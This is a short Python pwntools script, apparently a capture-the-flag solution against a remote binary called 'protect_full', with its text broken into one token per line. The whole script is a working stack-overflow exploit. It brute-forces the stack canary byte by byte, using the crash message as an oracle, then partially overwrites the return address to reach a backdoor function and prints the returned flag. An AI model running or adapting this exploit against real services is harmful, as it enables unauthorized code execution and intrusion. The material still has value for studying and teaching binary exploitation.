from
pwn
import
*
elf
=
ELF(
"./protect_full"
)
context(arch
=
elf.arch, os
=
elf.os)
context.log_level
=
'debug'
p
=
remote(
'123.59.196.133'
,
'10015'
)
canary
=
'\x00'
while
len
(canary) <
8
:
for
i
in
range
(
0x100
):
payload
=
''
payload
+
=
'a'
*
0x18
payload
+
=
canary
payload
+
=
p8(i)
p.sendafter(
'Okay'
, payload)
if
not
p.recvline_contains(
'stack smashing detected'
, timeout
=
1
):
canary
+
=
p8(i)
break
canary
=
u64(canary)
backdoor
=
0x8e4
for
i
in
range
(
0x10
):
k
=
i <<
12
payload
=
''
payload
+
=
'a'
*
0x18
payload
+
=
p64(canary)
payload
+
=
'b'
*
8
payload
+
=
p16(backdoor
+
k)
p.sendafter(
'Okay'
, payload)
buf
=
p.recv()
if
b
'flag'
in
buf:
print
(buf)
break
p.interactive()